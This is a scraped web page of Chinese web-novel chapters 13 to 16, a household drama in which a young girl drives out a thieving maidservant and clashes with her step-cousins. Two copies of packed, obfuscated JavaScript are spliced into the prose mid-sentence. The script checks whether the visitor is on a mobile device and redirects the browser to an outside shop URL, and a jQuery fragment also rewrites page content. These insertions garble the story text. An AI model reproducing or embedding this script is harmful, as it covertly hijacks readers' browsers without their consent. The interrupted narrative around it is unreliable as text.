她一瘸一拐地走回去,手腕也痛得厉害,准备和玉茉要些治跌打的药膏,结果一推开门,院里的氛围不比外面好多少,硝烟味弥漫。 玉茉和婆子吵得面红耳赤,梳儿在旁边努力劝和,却没有人听她的,也是急得团团乱转。 谢柔徽听了两三句就明白了,原来是玉茉在质问婆子早上偷懒一事。 只是她脾气急,说话冲,而且还不比那婆子油滑。 吵着吵着玉茉就偏离了重心,被婆子刻意引导着去责怪安排人手的刘管事去了。 好在院子偏僻,若是被人听到一字半句,玉茉就要被刘管事记恨上了。 玉茉回味过来立即止住嘴,已被气昏了头,肢体动作强烈了些,倒也没想动粗。 那婆子是个人精,瞅准时机,一屁股瘫坐在地上,咬死了是玉茉推了她,还扬言要告到管事那。 玉茉被气得浑身发抖,指着她道:“你胡乱栽赃,我何时推了你?” 不过片刻,玉茉从占理的那方瞬间成了“闹事打人的恶仆”。 谢柔徽迈过门槛走进来,反手掩住了门。 “磕托”一声,院中的三人齐齐看过来。 谢柔徽无视了欲上前讲清前因后果的玉茉,竟先走到婆子身边,蹲下来关切道:“婆婆,你怎么坐在了地上?” 婆子嚎哭道:“小姐你可回来了,玉茉她蛮不讲理,动手要打杀我呢!” “您瞧瞧,这都是她给我打的。”婆子指了指擦破皮的手心,又指着后腰位置。 “竟有这事吗?”谢柔徽煞有介事地蹙眉。 “老猪狗你闭嘴!”玉茉慌了,“小姐你别听她胡说,我根本没碰到她,是她自己坐在地上想赖到我身上!” 两人各执一词,谢柔徽面露疑惑,问道:“婆婆,是这样吗?” 玉茉是谢柔徽的贴身大丫鬟,婆子本还担心她会护短,不曾想,这小姑娘年纪小,一派天真,真还两不相帮,便添油加醋道:“小姐你不知,你不在时,那玉茉总说自己是小姐身前的红人,嚣张跋扈,总是指挥我们干这干那,自己却歇着偷懒,若是不服从她,她便要动手教训我们,如今是被您撞见了,要是您没亲眼所见,我可敢瞎说吗?” “哎呀呀,你和玉茉两个人说的两模两样,我应当听谁的呢?”谢柔徽手指点着表情各异的两人,原地转了个圈,猛地转向沉默不语的梳儿,“这样吧,咱们来听听她怎么说。” 梳儿看到谢柔徽指着自己,瑟瑟缩缩往后退了一步,眼神游移,阴暗处婆子面露威胁。 她吞了吞口水,嗫嚅道:“我……我没看到玉茉姐姐推她,似乎是她自己没站稳想赖到玉茉姐姐身上。” “你个满嘴胡诌的小贱皮!”婆子恼羞成怒,跳起来便恶狠狠地扇了她一记耳光。 响亮的一声后,小丫鬟捂着被打的半边脸委屈得直哭。 玉茉走过去查看小丫鬟的侧脸,小心地用指尖划过凸起的五指红痕,小丫鬟“嘶”地一声,眼里又流出许多眼泪。 玉茉攥紧拳头,气怒交加道:“老猪狗你敢动手打人!” 谢柔徽看到玉茉情绪激动,似有替小丫鬟出头的前兆,忙在玉茉动手前走到几人中间道:“婆婆,你刚才说玉茉推你我是没看到的,却看到了你对小丫鬟动粗。” 婆子咻咻喘气,瞪着面前这三人,忽然一笑,“这小丫头颠倒黑白,敢在主子面前满口谎话,老奴替主子教训她不是应当的吗?” 梳儿为人怯懦,在这院中一直被她强压一头。 而玉茉年轻气盛,稍微一激就露了短处,就算是柳同勋的人又能怎么样?充其量也是个奴才秧子,能拿她如何? 而那名义上的小主子,她也就更不放在眼里了。 一个十岁的孩子,又能翻起什么风浪? 婆子斜眼扫过这同仇敌忾的三人,愈发有恃无恐,就是料准了她们对自己毫无威胁。 可谢柔徽却上前仰面对她道:“可是动手打人就是不对的,嗯……不如这样,我年纪小,不清楚府里规矩,不敢轻易下结论,少不得要麻烦长辈替我判这桩难案了。” 如今柳同勋和颜镜棠去了临安,而二房的柳泽盛和庞氏外出办事也不在府中。 唯一的长辈不就是柳老夫人? 婆子少不得要嗤之以鼻。 柳老夫人一直不喜颜镜棠和谢柔徽母女俩,自然不会管这种闲事。 谢柔徽看出她的轻蔑,认真道:“我娘亲嫁给柳叔叔,那我也算是柳叔叔的女儿吧?按理应称呼老夫人一声祖母,我想,我若求到祖母面前,祖母也不会坐视不理。” “而且……”她停 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婆子深谙此道,一改方才的嚣张模样,奴颜婢膝地凑到谢柔徽近前,其变脸速度之快让谢柔徽由衷佩服。 “小姐您误会了,其实也怪老奴没来得及向您禀告,月例银子确实是四两没错,但您初来乍到,这头一个月有很多东西需要添置,我们奴才凑合点没关系,可不能委屈了小姐您啊!老奴就想先挪用二两银子把东西都置备齐全了。” 谢柔徽抱着肩膀却不说话,身子晃呀晃,突然岔开了话题,“可你方才还动手打梳儿的脸,这事怎么解决才好?” 梳儿没想到小主子能替自己出头,愣了一下就想息事宁人,可玉茉察觉她的意图,拉住了她,示意她不要讲话。 婆子咬牙看了看梳儿,狠下心道:“这事老奴确实做错了,该罚!” 她抬手自扇耳光,用了七八分的力,厚如榆树皮似的老脸也泛起血丝。 二十多下后,肉皮就肿起来了,她耐不住疼,觉得这样的伤势也足够卖惨,便自己止住了手,谄笑看向谢柔徽,“老奴打她一下,自己却受了二十五下,您可消气了吧?小姐您刚刚回来,早膳还没来得及用吧?老奴这就去做饭。” 可谢柔徽却看向玉茉,一脸天真道:“玉茉姐姐,你看这样可以了吗?” 婆子面色陡然一变。 都知她和玉茉不和,玉茉又怎么会替她求情? 果然,玉茉朝她脚下呸了一口,“这怎么行?这老猪狗又奸又滑,实足的刁奴,她的嘴里怎么会有实话,不如将她押到老夫人面前,上下盘查一番就知道真相到底如何了!” “这使不得啊!小姐!小姐您菩萨心肠可怜可怜我这一把年纪了,家中几十个口子都需要我养,万一中间误判,老奴可真要冤死了!” 她鬼哭狼嚎地扒住了谢柔徽的下半身,谢柔徽一时没挣脱。 还是玉茉先放话道:“怎么使不得?要不然这样,你去自请出府,我们就不为难你了,若不滚,我就去老夫人那揭发你私扣月例一事!” 谢柔徽也对这个婆子没有任何好感。 若她光是惫懒怠惰也就罢了,可她却蛮横无理,欺压同院丫鬟,还贪婪狡猾,敢对主子的月例下手。 玉茉这一番话正说到谢柔徽心坎上。 与其繁琐麻烦地将此事层层上报,还不如让这婆子自己收拾东西滚蛋。 婆子哭声震天,年纪一大把跪在小主子面前告饶求情,本想利用小主子的同情心,却不想谢柔徽低头,状似无奈道:“我年纪小不管事,就先按玉茉说的办吧,婆婆你走前记得将屋子收拾干净,把自己的家当带走前也要让玉茉检查才行哦。” 婆子惨白着脸,不想这个年少的主子竟如此心狠,彻底没了争取的希望。 14. 第 14 章 婆子突然自请出府,刘管事却只象征性地问了两句,然后以告老归家的原因登记在册,发了些贴补银钱将她放出府去。 谢柔徽见怪不怪,那婆子贪心不足蛇吞象,一下子就敢昧下二两银子,保不齐上头有个保护伞,刘管事似是知晓内情的样子,只怕是天下乌鸦一般黑。 不过那刘管事也是个人精,看在柳同勋的面上也不敢苛待了谢柔徽,按着她的要求另找了两名憨厚老实的婆子。 这两人手脚麻利,一来刚放下行李就张罗着要收拾屋子,洗菜做饭。 此事就此尘埃落定,玉茉傻笑着忽然回味到不对劲,抓住谢柔徽问道:“不对不对,小姐今日不是去书院了吗?怎么会突然回来了?” 谢柔徽也没想瞒着她,就说出了柳娥娇刻意刁难一事。 玉茉后怕道:“完了,二小姐肯定是因为那床记恨上您了,这可怎么好?”她急得转圈,临时起意道:“要不这样,奴婢去找老太太跟前的人说,若有老太太发话肯定能治住二小姐!” 谢柔徽无奈地笑笑,扬起头却换作若无其事的样子,“没关系啦,柳娥娇姐姐脾气是大了些,心眼不坏,等她消气就好。” 方才她敢言之凿凿地威胁婆子将事情闹到老夫人面前,是因为两人身份的不对等,她有十足自信,老夫人不会因为讨厌她而轻纵了一个贪钱的老婆子。 而告状的对象换作柳娥娇可就大大不同了。 柳娥娇可是柳老夫人的亲孙女。 这两人血脉相连。 而她呢,老夫人本就对她没好感,她还大张旗鼓地跑到老夫人面前说人家孙女的坏话,那才叫失心疯了。 好在玉茉也不是蠢笨的,后知后觉道:“哎呀行不通,老夫人估计不会管这事,要不然奴婢去租一辆马车,专供着您每天去书院,不受她们的窝囊气!” 谢柔徽早已想过这个办法。 可困难重重。 以柳府的财力来讲,甭说预备一辆马车,就是十辆、百辆都九牛一毛,只是那些下人似是提前通过气了,受人指使,谁也不愿帮她这个小忙。 其次,玉茉作为柳府婢女,是轻易不能离府的。 何况驿站那处龙蛇混杂,乌烟瘴气的,玉茉一个年轻的姑娘要去男人扎堆的地界,又不安全也不现实。 不过她早有了解决办法,不好直白提醒玉茉,只对玉茉说自己正好累了,这几日就窝在院里休息,暂时不去书院了。 玉茉却有些看不懂。 这个小主子,有时天真得像个孩子,有时候又早熟得像个大人,心思好像深沉如海,让她都猜不透。 只是上次那拔步床一事都力争到底了,怎么换作马车这件事反而不争了? 不过谢柔徽若休息几日也好,省得她每天早起,能偷懒多睡些时辰。 谢柔徽连歇了五天,这五天只吃吃喝喝,待到第六天她让玉茉出去打听二房的动静。 不出片刻,玉茉气喘吁吁地跑回来,“奴婢都打听回来了,二小姐只前三日早起去了书院,后面就不再去了。” 谢柔徽听罢微微一笑。 果然不出她所料。 那柳娥娇被娇惯得不成样子,又懒又馋,才不会天天守着鸡鸣的时辰去堵她呢! 谢柔徽拍拍缎面的枕头,笑道:“那玉茉姐姐早点回去睡吧,明日麻烦你叫我起床去书院。” 玉茉应下来,吹熄了蜡烛缓步走出去。 第二日玉茉轻扣房门,谢柔徽早早起来,发现热水、洁面和漱口的用具都已摆放整齐。 玉茉说是那两个婆子提前备下的,水在灶上一直温着,就是想让小姐一起床就用上热水。 待洗漱后,谢柔徽穿了身素雅料子的衣裳,玉茉嘟着嘴,抱怨小姐没选她备好的桃红衣裙。 待两人赶到门外,二房的兄妹俩还没来。 谢柔徽先登上马车,等了会儿,外头便有丫鬟掀起车帘,柳如施抬目瞥到她也并不意外,从善如流地向她微微颔首,并未做过多交流,径直走到自己座位处坐下。 丫鬟又奉上湿帕子替她擦拭扶过车辕的掌心。 在其后的柳奕昌则跟她多说了两句话,“柔徽妹妹,你的手如何了?” 谢柔徽举起右手,“玉茉给我用药油揉过,已经好多啦。” “哦,那就好,那就好。”柳奕昌攥了攥袖子,将手缩回去。 柳如施扫了他一眼,嘴角扬起一抹冷笑。 一路上这兄妹俩谁也没提起那天在马车上发生的不愉快。 谢柔徽也当那件事没发生,并未指责他们一字半句。 安安稳稳地到了阔别多日的书院。 有关系还不错的学子热情问她怎么几日没来。 谢柔徽推脱手腕拉伤,还褪去袖子展示给她们看。 小女孩们围成一圈,叽叽喳喳地说着,待夫子进门咳嗽一声,她们轰地散开,跑回自己的座位。 夫子虽严肃古板,可记挂着谢柔徽开蒙晚,专为她提供了这几日的笔记让她誊抄,进度倒也没落下太多。 而且因大家都是才上书院不久,还在识字和写字的阶段。 谢柔徽占了先天优势,接受知识的速度却明显快于旁人,受了夫子几次嘉奖,众人投来艳羡的目光,倒让她有些羞愧。 只是不知此事让柳娥娇知晓了,特意赶在一日清晨,带着下人将她堵住了。 玉茉被一名膀大腰圆的婆子拖去了角落,尖叫声横亘整个外院。 车厢内的谢柔徽正想下车查看,却被两名丫鬟堵了回去。 柳娥娇拨开她们上前,趾高气昂地走到谢柔徽面前,“小贱皮,上次没给你说清楚吗?这是我家的马车,不准你这个乡下土包子坐,再让我发现了,可别怪我不客气。” 谢柔徽还记得上次吃得教训,如今敌众我寡,抿住嘴唇不理她,只埋头走到出口。 可柳娥娇明显不想轻易放过她,一手抓住了她的发尾狠拽回去。 头皮好似要炸开的疼痛传导而来。 谢柔徽被迫后仰,瞥见柳娥娇得意的一张面孔,逆反心也被激到了极点。 她素来信守“人不犯我,我不犯人,人若犯我,我必犯人”的行事准则。 接二连三地在柳娥娇身上吃亏,她已然做不到继续忍气吞声。 柳娥娇那处还在不断威胁,转眼谢柔徽猛扑上来,抓住她手腕便咬。 谢柔徽速度太快,这一举动也超乎所有人的意外。 竟连柳娥娇那两名贴身丫鬟都愣住了,待反应过来时,柳娥娇的手腕已被谢柔徽的虎牙咬出血。 两人心道不好,冲上去左右拉住谢柔徽的手臂,硬生生将人扯开。 柳娥娇的手腕也险些被撕扯去一层皮,疼得撕心裂肺。 “我一定要杀了你!”柳娥娇看着自己白皙手腕骤然多出一圈牙印,也不知会不会留疤,跳脚道:“给我打她,打死她!” 谢柔徽舔了舔嘴唇,尝到一丝血腥味,看着抓狂的柳娥娇,心中多少愉悦了几分。 那两名丫鬟迟迟不敢动手。 说到底谢柔徽也算半个主子。 她们两个下人怎敢以下犯上。 柳娥娇气得跺脚,“我的命令你们也敢不听?待回去我就让父亲卖了你们!” 谢柔徽感受到丫鬟们抓着自己的手双双一紧,忙道:“你们若 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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柳显昌张口结舌,脸上表情霎时精彩纷呈。 柳娥娇咄咄逼人道:“我娘说了,她娘是个狐狸精,她就是个小狐狸精,眼睛里藏钩子了,小小年纪就跟她娘一样骚得很,随时都在勾搭汉子。” 谢柔徽猛地瞪向她,她就挑衅似的抬起下巴,“看来我娘说的果然没错。” “哥,你还没回答我。”柳娥娇看向柳显昌,“你也中招了吗?她一个小丫头片子,牙刚长齐吧,你看上她什么了?” 谢柔徽继承了母亲的好相貌,睫毛生得细密,双眼就像他喜欢吃的黑葡萄,又圆又亮,笑时白嫩的两颊会浮现小小的梨涡,让他激起了十足的保护欲。 两人相差不过几岁,年纪也都不大,谈不上情爱,不过少年人心中道不明的一点微妙情愫。 只是被人当众点出,让他既难堪又恼火。 他左右看去。 柳娥娇等着他确定立场。 柳如施眼神轻蔑地滑过他。 而谢柔徽却只是垂着视线,好似现在发生的一切都与她无关般,毫不犹豫地准备离开。 就好像根本没听到柳娥娇的那番话。 柳如施忽然开口轻笑了两声。 那声音细微,可听到柳奕昌耳中却如雷声一般震得他发麻。 所有人都在看他的笑话。 他既羞也恼,猛地向前冲过去,从背后将谢柔徽推倒在地,红着眼睛大吼道:“谁会喜欢这个小狐狸精!” 15. 第 15 章 耳畔嘈杂,尖利的嘲笑和低若蚊吶的道歉混杂在一起。 谢柔徽痛得呻吟,昏头涨脑地从地上爬起,翻过两只手,掌心被碎石子蹭破了一层皮。 她站在原地缓了好一会儿。 柳奕昌的力气比柳娥娇大了不少,这一推几乎将她撞飞出去,砸到地上的那一刻她似是听到了骨头关节的脆响。 若是伤了腰椎就麻烦了,她扭了扭腰,抬抬手,仅有拉扯了肌肉的酸痛感。 还好,不幸中的万幸。 她转过身。 那个始作俑者竟然满面无措,嗫嚅道:“你没事吧?” 谢柔徽拍了拍前襟的土,向他笑了笑,然后趁他愣神之际,一个头槌撞了过去。 柳奕昌正被她撞到腹部,“啊”地一声向后跌去,众目睽睽之下摔了个屁墩儿。 被女孩反击,还惹得自己当众出丑。 十三四岁的少年正是爱面子的年纪,柳奕昌恼羞成怒,从地上一跃而起,双手攥成拳向她挥去。 “你们在做什么?” 有人骤然开口,嗓音清润,却似饱含着万钧之力,轻而易举地截停了眼前的一片混乱。 众人注视下,柳显章一袭绯色骑装信步走来,腰束革带,容姿俊秀,年纪虽不大,肃着脸时有种无形的压迫感,一双锐眼在他们身上来回扫过,而后定在那举着拳头傻站在中央的柳奕昌身上,无声质问。 柳奕昌倏地垂下手,窘迫得不知如何是好。 柳如施本就站在外围,并未直接掺和他们的纷争,只向柳显章方向唤了一声“大哥早。” 柳显章向她点了点头,没说什么。 柳如施轻舒一口气,提裙上马车,身影消失在软帘后。 而柳娥娇明显还在状况外,虽也有些忌惮似的情绪,但还在低声解释道:“大哥,是谢柔徽先咬伤了我,二哥为了给我出头才对她动手的。” 柳显章淡淡地看向她,她只觉心口一紧,余下的话“咕咚”一下皆咽回肚子。 东纨从后小跑赶来,递上马鞭,见到这几个小主子的情形也十分讶异。 柳显章将马鞭抓到手心,冷冷道:“个个就如市井泼妇一般在门外吵闹,哪里有半点公子小姐的风范气度,若是被过路人瞧见了,还不知在外怎么编排柳府。” 一群人鸦雀无声,垂首听训。 东纨将马牵来,柳显章踩着马镫翻身上马,扯住缰绳居高临下道:“二弟和二妹各扣一月的月例,贴身下人拖去各打二十大板。” 柳娥娇身后的两名丫鬟吓得浑身发颤,扯住自家小姐的衣裳哀声求饶。 柳娥娇硬着头皮道:“她们也是奉我的命,并没有做错什么,还请大哥饶了她们这回。” “主子失了德行,做下人的不能及时规劝反而助纣为虐,怎么能称得上无辜?若再替她们叫屈,便每人多加十板子。” 柳显章驱马缓步上前,到谢柔徽近前时顿了顿。 谢柔徽狼狈至极地仰起头看他,逆着阳光半眯了眼,额头上刚止住血,留下一条长而狰狞的血口子。 没看到总是陪在她身边的瘦高丫鬟。 “东纨。”柳显章将下人唤来道:“让丫鬟带她去看大夫。” 说完,他双腿一夹马腹,和两名同样骑马的随从消失在众人视线中。 东纨并未跟着一起去,躬身走到谢柔徽面前,笑道:“您头上的伤得赶紧清理包扎。” 谢柔徽点点头,跟在他身后。 柳奕昌和柳娥娇的下人被带走受罚,他们两人也没有再纠缠的兴致,相继上了马车。 她回头望了一眼,东纨停下问:“小姐可还能走,要不然小的使轿子来接您?” 谢柔徽摇摇头,加快步伐,表示自己行走无虞。 她心中还想着方才的情景。 柳显章从善如流地训斥弟妹,施罚下人,从出现到离去不到一盏茶的时间。 全过程中,竟没有一个人敢顶撞他一句。 都说长兄如父,可就算是柳同勋或者柳泽盛站在面前,他们也不会如此畏惧。 而且,柳显章每日不都早早出发去书院吗,今日怎么拖到了这个时辰才去? 不知不觉这句话竟意外脱口,被前面带路的东纨听见。 东纨没多想,解释道:“主子今日不去书院,而是去马场练习骑射了。” 眼前浮现柳显章骑于马上的挺拔姿态,一看就是骑术娴熟的。 少年人的身材本就偏单薄,腰身细窄,他穿着一身干净利落的束腰骑装,倒有几分公子世无双的俊秀清冷。 精通君子六艺,而非只会伏案读书的书呆子,看来柳府是按世家贵族的标准来培养这个长孙的。 不过柳显章这次意外出现,还真算是帮了她大忙。 若不是他,她不知今日还要如何收场。 谢柔徽被带到府内大夫处,大夫稍看几眼便说无大碍,简单清洗伤口后,给她一瓶利于恢复和祛疤的药膏,并嘱咐她每日涂抹。 其余注意事项大夫看她年纪小,便问道:“你的丫鬟呢?我一并转告给她吧。” 谢柔徽忽然想到玉茉,忙叫住东纨央求道:“玉茉被二房的婆子不知绑去了府里何处,劳烦东纨小哥将她找回来。” 东纨笑道:“小姐您不用跟小的客气,小的这就跑一趟,看看她们将玉茉姑娘带到哪去了。” 东纨是柳显章的贴身小厮,说话自是有一定分量的,要不然谢柔徽也不会借故拜托给他。 有他出马,玉茉不到半个时辰便回到了院子,身上没有明显的外伤,衣裳乱了些,脸上神色也怏怏的。 她扒拉开门,看到额头上顶着一坨墨绿色药膏的谢柔徽,大吃一惊道:“小姐,你受伤了?!” 她冲过去细细查看,才发觉谢柔徽不止头上带伤,两条手臂数不清的划痕,掌心被磨破了皮,露出红肉。 “小姐……都怪奴婢无能,没能护住小姐。”玉茉看着看着便滴下眼泪,尤其是谢柔徽伤痕累累还分外镇静的模样,怎么这般凄惨啊! 她这个做贴身丫鬟的简直无地自容! “到底是哪个杀千刀的伤了小姐?就算赔上奴婢这条命,也要替小姐争上这口气!” 谢柔徽叹了口气,将手收回去,重新浸在水盆中,“是柳娥娇和柳奕昌。” “怎么是他们?”玉茉瞬间泄了气,惴惴不安地瞅了一眼谢柔徽,“二小姐确实脾性差了些,好与人争抢,可二公子到底是为何?他向来憨直,对底下人也都不错,从不为难我们。” 若不是玉茉还在信誓旦旦地为他说好话,谢柔徽几乎要冷笑出声了。 若说柳奕昌老实,那简直是侮辱了老实人这三个字。 谢柔徽的双手敷药后被厚实地包起来,显得极为臃肿,做不了抓握的动作,日常生活全需要玉茉帮忙。 玉茉心细,照顾人很全面,只在帮她擦拭额角时,看到伤口新长出的皮肤鲜红,颜色明显有异,担忧会落疤,对那始作俑者柳娥娇也生了怨言,“娥娇小姐这次太过分了,奴婢陪您去一趟二奶奶那吧,二奶奶为人公道,不会偏向娥娇小姐的。” 谢柔徽 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16826260|190869||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 让她重新包上白布,许久未语。 那天马车的事闹得人尽皆知,根本不需要她们主动去说,庞氏也早已知晓。 这祛疤神效的药膏就是她后来派人送来的。 那丫鬟送药时先慰问了她的伤势,好一番安抚,然后象征性地提了一嘴会严格管教那兄妹两人,再无其他的话了。 若那日的事仅由柳娥娇引起倒也好办。 柳娥娇是妾室画霜所出。 庞氏本就与画霜不和,看在柳同勋的面子上也会对柳娥娇小惩大诫。 可偏偏后来牵扯到了柳奕昌。 柳奕昌是庞氏的独子,她自然不会为了一个外来的女孩来伸手打自家孩子的脸面。 庞氏定是担心被柳泽盛得知儿子的所作所为,才如此大事化小,小事化了。 后面她又派人送了许多药品和补品,此事就这么悄无声息地过去了。 谢柔徽去不成书院,也不想和柳娥娇再度碰面,一段时日都没怎么外出。 玉茉看小主子本是爱玩爱笑的年纪,却一日日地待在这一方小院里闷着。 她知道小主子受了委屈还打碎牙往肚子里咽,越发心疼小主子,就想了各种法子来讨谢柔徽的欢心。 谢柔徽虽心情一般,但还算配合她。 待寻常的游戏玩腻了,玉茉不知从何处寻摸来一套骨牌,拉着梳儿一起推牌九。 谢柔徽没接触过这个玩法,加上规则有些复杂,大概听了两遍,见玉茉还要再讲解,就止住她的话音,准备先上手后再熟悉。 玉茉不忙着玩,先笑眯眯看着两人道:“这么干玩多无聊,要不然咱们定个赌注吧,不用太大,游戏的彩头罢了。” 谢柔徽想了想也在理,便同意了。 玉茉信心十足地推牌,“你们放心好啦,只有我一个人玩过,所以我不会太过分的。” 前两局她想让谢柔徽和梳儿熟悉玩法,有意放水,让她们各赢了一把。 等引出她们的兴致后,玉茉拿眼睛扫过她们刚赢过去的铜板,笑道:“都学会了吧,那我就不客气咯。” 她先赢了两把,刚收回本钱,摩拳擦掌正要大杀四方时,局势竟悄悄逆转。 谁也没想到被她拉过来凑人头的梳儿是个牌技超神的。 几局下来,梳儿闷不作声,谢柔徽和玉茉却被她杀得片甲不留。 玉茉赌上了头,眼看又要输,竟直接扑到了梳儿那质问道:“好你个梳儿,快老实交代,你到底有没有玩过?” 谢柔徽笑着去掰玉茉的手。 梳儿见玉茉似是输急了,便将小山堆似的铜板推给她,“这些都给你,玉茉姐姐我真没玩过,说的是实话。” 嬉笑间,外面的婆子“咄咄”敲了两下门,禀告说二房的下人来找。 谢柔徽猜测又是庞氏的丫鬟来送东西,便挪到榻沿,对还抱着梳儿不撒手的玉茉点了点鼻子,“玉茉姐姐真羞,这般年纪还玩不起要赖账。” 她趿拉上鞋,因怕庞氏的人等急了便要迈步出去,玉茉见状忙蹲下来帮她提上鞋跟。 谢柔徽没用她们跟随,独自出了院门。 这一望却没看到经常来往的丫鬟,而是看到树下蹲着个陌生小厮,脸皮焦黄,靛色短打的下衫蹭了点土,在胸口处抱着一个精致的漆匣。 谢柔徽不认得他,便要退回去喊玉茉,却不巧对上那小厮的视线。 小厮双目一亮,站起疾步向她走来,见谢柔徽面露戒备,忙刹住脚,满面堆笑道:“小姐莫怕,小的是二公子的人,奉命来给小姐送东西。” 16. 第 16 章 谢柔徽不免诧异。 柳奕昌? 他派人来送东西做什么? 莫不是以为自己当日恶劣的行径可以送个礼就能消弭吧? 提到他谢柔徽便心生反感,只想赶紧打发了那小厮,婉拒道:“多谢美意,只是我这院中什么都不缺,还请你将贵礼收回去吧。” “小姐缓步,先瞧瞧这匣中之物可好?” 见谢柔徽抗拒之意甚重,小厮不得不提前打开了匣子,呈递到谢柔徽面前。 一件玫瑰紫暗纹刺绣的褶裙,镶边刺绣针脚细腻,缎面在阳光下熠熠生辉,裙子上还压着枚并蒂莲金钗,皆是不俗之物。 见谢柔徽注视着那件裙子,小厮无不得意道:“这可是宫缎所制,在外头千金也求不来。” 如此厚礼,柳奕昌究竟是何企图? 谢柔徽狐疑抬头。 小厮笑着解释道:“您这几天都没去书院,我们公子很是担心呢,他怕您因那日的事与他生了龃龉,所以连忙命小的来携礼道歉,希望小姐您能原谅了二公子那日的鲁莽之举,恕小的多嘴,您和二公子都是一家人,本应亲亲热热的,以后莫要疏远了才是。” 他态度这般诚恳,谢柔徽便一时有些犹豫不决了。 柳同勋和颜镜棠去了临安,还不知何年何月才能回来。 而她短时间内就接连得罪了柳娥娇和柳奕昌。 柳娥娇倒还是小问题。 可柳奕昌是庞氏的独子,她日后少不得要麻烦庞氏。 就算因为这个,她也少不得要忍气吞声。 既然柳奕昌主动化解矛盾,那她不如就此接受了吧。 “那就多谢二公子了。”谢柔徽伸出手。 小厮见她终于不再冷言冷语,可算松了一口气,将匣盖归位,毕恭毕敬地把匣子放到谢柔徽手中,“那小的就回去给主子复命了,哦对了,二公子还说了,您别因为气恼他就耽误了学业,二房的马车明日还在老地方老时间等着您,到时二公子也会亲自与您道歉。” 待小厮离去,谢柔徽也就捧着匣子回房。 玉茉见她空着手出去,却满载而归,不免好奇,一边接过那匣子仔细打量,问道:“二奶奶这回又给您送什么了?” 谢柔徽示意她可以打开瞧瞧。 玉茉嘿嘿笑了两声,不与她客气,拇指旋开卡扣,一把揭开了盖子。 打开的那一刻,她似是被晃住了双目,指尖小心翼翼地拂过簪上炫丽的宝石,不禁感叹道:“二奶奶出手这般阔绰?这簪子还是年节时她拿出来戴了一回,寻常日子都珍藏着轻易不给人瞧呢,怎么就突然给了您?” 谢柔徽本已坐下喝水润喉,听她这样说,不知为何心中总有些不安稳,让玉茉将匣子严实收好,这才解释道:“只是柳奕昌派人送来的,说是给我的歉礼。” 玉茉闻言愣了愣,随即笑开了,“二公子真是有心了,这两样都是极贵重的,您瞧,既然二公子这么有诚意,您就原谅了他吧,反正您这几日正在为这件事心烦。” 原不原谅的,谢柔徽没想细究。 以柳奕昌那日的表现和他的为人,她已不打算与对方深交,面子上过得去也就够了。 不过,虽他百般保证可重新载她去书院,她还是不急于这两日。 那柳娥娇气量异常狭小,上次因她而被扣了月例,贴身侍女还受了重罚,必定不会轻易罢休。 她又何必上赶着去撞枪口。 暂且晾着柳娥娇几日。 却不想,她在枕竹居按兵不动,急得不是柳娥娇,而是那柳奕昌。 婆子再度到正房来禀告,说是二房的人正在外等着她。 谢柔徽带着玉茉一同出去。 让她始料未及的,站在竹林前的不是小厮,而是多日未见的柳奕昌。 柳奕昌见她竟带着丫鬟同行,面上一红,对谢柔徽低声道:“柔徽妹妹,能否遣你的丫鬟先离开片刻,我有几句话想对你说。” 谢柔徽握紧了玉茉的手不肯松,“有什么话你便说吧,玉茉不是外人。” 她和柳奕昌虽是名义上的兄妹,可到底没有血缘关系。 她可不想为这次碰面而落人口舌。 见她不愿,柳奕昌硬着头皮劝说。 看这样子,要纠缠到没完没了。 谢柔徽只好妥协,不让玉茉离开,只让她背朝着两人远远站着,直到听不到两人对话内容就好。 柳奕昌先是瞥了一眼玉茉所站的角落,然后将嗓音压得极低道:“你这几日怎么都没来乘车?上回那小厮没与你说清楚吗?” 谢柔徽哑然失笑。 他这么严防死守的,最后要说的竟是一个微不足道的问题。 她如实道:“小厮说明了,只是去书院一事暂时有别的苦衷,再过上几日就会正常去书院了,到时还要再继续麻烦奕昌哥哥了。” 柳奕昌听她嗓音柔软地唤自己哥哥,态度亲近还似从前,忍不住凑近了一步,近到她诧异的双瞳中满是自己的倒影,温声道:“那就好,我还以为你负气以后都不肯见我了。” 谢柔徽微微一笑,不理会他最后那句逾矩的话。 书院她当然要去的,怎么会因为柳奕昌就放弃念书呢? 这个时代不念书的后果很严重。 仅看那柳娥娇憨蠢的狂态便知。 “若奕昌哥哥没别的事,那我就先回去了。”谢柔徽实在难以忍受对方目不转睛盯着自己的那副模样。 可在她转身之际,柳奕昌却又红着脸叫住她,“柔徽妹妹,还有一事我想同你商量。” 他这般绕圈子,谢柔徽耐心耗尽,蹙眉道:“奕昌哥哥不妨有话直说。” 柳奕昌挠了挠头,“柔徽妹妹,咱们以后还这般兄妹相称,不分彼此,你有什么需要都可以跟我讲,我绝不推诿,只是……”他开始有些不敢去看谢柔徽的脸,心虚道:“到了人前时,还请柔徽妹妹远着我些,我绝对没有嫌弃你的意思,只是想为你我避免不必要的麻烦,你也知道的,娥娇那性子实在难缠,她若看到我对你比她更亲近,肯定要大闹一通,到时……” 柳奕昌喋喋不休地说着,那张肤色稍暗的脸愈加面目可憎。 谢柔徽深呼吸,沁凉的空气吸入肺腑,几次反复,终于压下那恶心感。 难怪柳奕昌这么兜着圈子。 原来是打着这般主意! 弦外之音不过是心中仍觉得她低贱,与她的关系也同样拿不出手,可又克制不住要与她私下来往。 哪里有这般两全其美的好事让他柳奕昌占了去? 谢柔徽陡然扬声道:“玉茉!” 柳奕昌吓了一跳,止住话音,忙回头看来路可有旁人撞见这一幕。 玉茉三两步跑来,谢柔徽嘱咐道:“将二公子上回托人来送的匣子拿来。” 玉茉毫不犹豫地照办。 